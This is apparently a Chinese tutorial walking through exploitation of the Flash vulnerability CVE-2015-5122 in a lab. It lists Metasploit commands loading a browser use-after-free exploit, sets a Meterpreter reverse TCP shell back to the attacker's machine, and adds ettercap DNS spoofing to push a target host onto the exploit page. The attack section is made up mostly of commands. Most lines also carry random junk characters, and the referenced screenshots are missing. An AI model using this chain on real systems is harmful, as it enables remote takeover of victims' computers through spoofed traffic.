|
* X+ @0 h/ C% [7 } 二、cve2015-5122漏洞实例演示虚拟机 - E( s2 B% y& M; i% `5 ~' B
# N! M/ I* t+ e: ~4 w3 K
" G( o" j4 O$ W7 g0 \5 ~6 O
关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015年flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: % [) P% ?$ z& l( D
) Q1 K' @8 b6 ?" |5 J) w/ I2 { y6 h1 T X
search cve-2015-5122如图: 8 i1 Q( A: B! z# H& C
: G" h* H" X' o m* u% j# m; z2 H$ P1 C z
" N' `# u' d5 N% j& ^# z* l- p* z% p
- c/ l" U$ @# x, o& f/ R7 E) E7 O* B: ?2 l
下面我们敲如下命令: , r' P0 Z/ ^0 u2 l. O; }
/ L7 w7 p, S) |. D3 c/ [/ g
4 B& o+ g& a/ C. q( C$ \ use exploit/multi/browser/adobe_flash_opaque_background_uaf
% v9 Q4 c4 j2 ^6 t% x* | s, p- X$ w( Q0 L6 p1 ?
) V2 w {+ p" f7 M' d1 J
set PAYLOAD windows/meterpreter/reverse_tcp
0 d$ j' P0 w% [7 D1 N6 u; m* @ ' `3 \. q% e( k/ Z D" B: i6 G# V2 v
+ ]3 T9 d+ |5 p set LHOST 192.168.0.109 - U6 p0 S4 k! }% Q+ G. C
' n/ f6 U, C& S6 H
) y5 h* U# u" q set URIPATH / /*根目录*/ 7 q+ a' W% s- d+ v$ ?
' R( k+ D `0 o& Z1 N" `
5 U; h8 v) S3 o' b/ E( ]# l( n9 l8 N set SRVHOST 192.168.0.109 //192.168.0.109为kaili ip地址 8 e3 e+ ]& h$ e# y
. \3 @# n$ c3 V Q O
+ d- _1 k$ T6 b( p* A1 d4 R. y
set SRVPORT 80 /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用
, ^: r6 i2 a. t* T- X) l6 F4 x& U : l) F( V- k( e# _0 l7 X
2 x" z# V- P! r3 w: A4 h 然后show options如图: . }, v8 c" S( o( M" K& R
3 w! s" N o- b# }( v8 X
7 N5 [) I6 z Z( W' s5 d
! ]0 |9 S( d, ^1 S- ]8 o , `2 S2 g! C. F9 a
0 j# |$ z) k4 v9 B9 A
一切都设置好了,执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图: : g- ~( D0 Q9 }+ `4 S4 p
3 z5 [7 ]6 A1 i9 @1 k2 K7 j
. d% ^: p$ G4 @; T1 ]0 U7 p
" L/ K3 ~5 @" g 然后ettercap -G命令打开ettercap,我们要攻击的主机ip是192.168.0。115
9 |7 M0 K6 i* J$ ] - U2 w$ n8 y$ ]8 J5 w
0 ?4 I5 i( V; K, q, j& O" m* g; p
Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf
6 O7 X9 U3 I( c
3 ~2 V6 \ |1 z7 F8 w; F. c6 @! | c J# N
4 m/ }1 H8 a' ~/ |
# Z6 G1 i5 y8 k6 v" M# w0 e* `* |6 o- F( M& Z
成功了,这时候我们断开ettercap,如图: ( K9 V) a6 {0 S4 `6 j
, \3 P v& K& C* h3 ?1 J, w# g0 L- J+ K5 I6 F
5 r0 f( H" u7 T* \
: u; c& A0 a. X, T. {* T
3 s* ^1 p9 x! _8 l1 U Screenshot如图: ' \8 |- |* n- ?9 X8 k
u' k n6 s4 d& o
7 {8 @# G( a- Q! s3 |- L2 l * T6 i( x* K, v4 C3 o7 m
8 g5 ~ N6 S u; K4 m) c% Y9 x _
$ Q! n7 o/ O1 Q# |3 U; I * V h% l, w/ ]' q2 l' i# B
|